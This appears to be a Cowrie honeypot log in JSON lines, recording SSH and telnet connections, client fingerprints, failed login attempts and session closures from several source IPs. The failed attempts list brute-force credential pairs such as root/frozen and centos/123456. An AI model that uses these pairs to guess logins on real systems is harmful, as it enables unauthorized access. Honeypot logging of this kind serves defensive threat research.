{"eventid":"cowrie.session.closed","duration":"17.0","message":"Connection lost after 17.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:29.885063Z","src_ip":"95.38.165.118","session":"0a3479d96e38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":52130,"dst_ip":"159.203.135.109","dst_port":23,"session":"31b730165990","protocol":"telnet","message":"New connection: 69.4.83.194:52130 (159.203.135.109:23) [session: 31b730165990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:33.512170Z"}
{"eventid":"cowrie.login.failed","username":"centos","password":"123456","message":"login attempt [centos/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:33.727161Z","src_ip":"95.38.165.118","session":"bd260b5d35e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":56322,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8a538c421d6","protocol":"ssh","message":"New connection: 103.77.242.62:56322 (10.17.0.5:22) [session: a8a538c421d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:33.749295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:33.753651Z","src_ip":"103.77.242.62","session":"a8a538c421d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:33.997623Z","src_ip":"103.77.242.62","session":"a8a538c421d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"frozen","message":"login attempt [root/frozen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:34.719684Z","src_ip":"103.77.242.62","session":"a8a538c421d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:34.894037Z","src_ip":"95.38.165.118","session":"bd260b5d35e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":57364,"dst_ip":"10.17.0.5","dst_port":22,"session":"bdb06e9826ca","protocol":"ssh","message":"New connection: 95.38.165.118:57364 (10.17.0.5:22) [session: bdb06e9826ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:35.089987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:35.793091Z","src_ip":"95.38.165.118","session":"bdb06e9826ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:35.797368Z","src_ip":"95.38.165.118","session":"bdb06e9826ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:35.964009Z","src_ip":"103.77.242.62","session":"a8a538c421d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erpnext","password":"erpnext","message":"login attempt [erpnext/erpnext] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:37.126081Z","src_ip":"95.38.165.118","session":"bdb06e9826ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.239.106.153","src_port":38950,"dst_ip":"159.203.135.109","dst_port":22,"session":"3609e0a0318c","protocol":"ssh","message":"New connection: 77.239.106.153:38950 (159.203.135.109:22) [session: 3609e0a0318c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:37.604589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:37.612782Z","src_ip":"77.239.106.153","session":"3609e0a0318c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:37.705191Z","src_ip":"77.239.106.153","session":"3609e0a0318c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123Qwerty","message":"login attempt [root/123Qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:38.110027Z","src_ip":"77.239.106.153","session":"3609e0a0318c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:38.305063Z","src_ip":"95.38.165.118","session":"bdb06e9826ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:39.206143Z","src_ip":"77.239.106.153","session":"3609e0a0318c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":57250,"dst_ip":"10.17.0.5","dst_port":22,"session":"efbab6eb7a4e","protocol":"ssh","message":"New connection: 95.38.165.118:57250 (10.17.0.5:22) [session: efbab6eb7a4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:42.083084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:42.087342Z","src_ip":"95.38.165.118","session":"efbab6eb7a4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:42.262259Z","src_ip":"95.38.165.118","session":"efbab6eb7a4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":51638,"dst_ip":"10.17.0.5","dst_port":22,"session":"9db76a5d873e","protocol":"ssh","message":"New connection: 95.38.165.118:51638 (10.17.0.5:22) [session: 9db76a5d873e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:46.454210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:46.458614Z","src_ip":"95.38.165.118","session":"9db76a5d873e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:46.628551Z","src_ip":"95.38.165.118","session":"9db76a5d873e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"123456","message":"login attempt [ftpuser1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:48.304546Z","src_ip":"95.38.165.118","session":"9db76a5d873e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:49.928141Z","src_ip":"95.38.165.118","session":"9db76a5d873e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":51652,"dst_ip":"10.17.0.5","dst_port":22,"session":"779635703edf","protocol":"ssh","message":"New connection: 95.38.165.118:51652 (10.17.0.5:22) [session: 779635703edf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:51.655149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:51.660432Z","src_ip":"95.38.165.118","session":"779635703edf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:51.827559Z","src_ip":"95.38.165.118","session":"779635703edf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123456","message":"login attempt [minecraft/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:54.274823Z","src_ip":"95.38.165.118","session":"779635703edf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp123","message":"login attempt [ftp/ftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:54.976417Z","src_ip":"95.38.165.118","session":"efbab6eb7a4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.1","message":"Connection lost after 14.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:56.181337Z","src_ip":"95.38.165.118","session":"efbab6eb7a4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:57.088277Z","src_ip":"95.38.165.118","session":"779635703edf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":58578,"dst_ip":"10.17.0.5","dst_port":22,"session":"7dbe5757feaa","protocol":"ssh","message":"New connection: 95.38.165.118:58578 (10.17.0.5:22) [session: 7dbe5757feaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:57.148941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:57.547346Z","src_ip":"95.38.165.118","session":"7dbe5757feaa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:57.551735Z","src_ip":"95.38.165.118","session":"7dbe5757feaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.97.82","src_port":53084,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7ade5edcff9","protocol":"ssh","message":"New connection: 43.245.97.82:53084 (159.203.135.109:22) [session: c7ade5edcff9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:57.963377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:57.968078Z","src_ip":"43.245.97.82","session":"c7ade5edcff9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:58.211668Z","src_ip":"43.245.97.82","session":"c7ade5edcff9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"newuser","message":"login attempt [newuser/newuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:58.339020Z","src_ip":"95.38.165.118","session":"7dbe5757feaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:59.215954Z","src_ip":"43.245.97.82","session":"c7ade5edcff9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:01:59.509183Z","src_ip":"95.38.165.118","session":"7dbe5757feaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:00.462706Z","src_ip":"43.245.97.82","session":"c7ade5edcff9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":58586,"dst_ip":"10.17.0.5","dst_port":22,"session":"30852bff34da","protocol":"ssh","message":"New connection: 95.38.165.118:58586 (10.17.0.5:22) [session: 30852bff34da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:02.968189Z"}
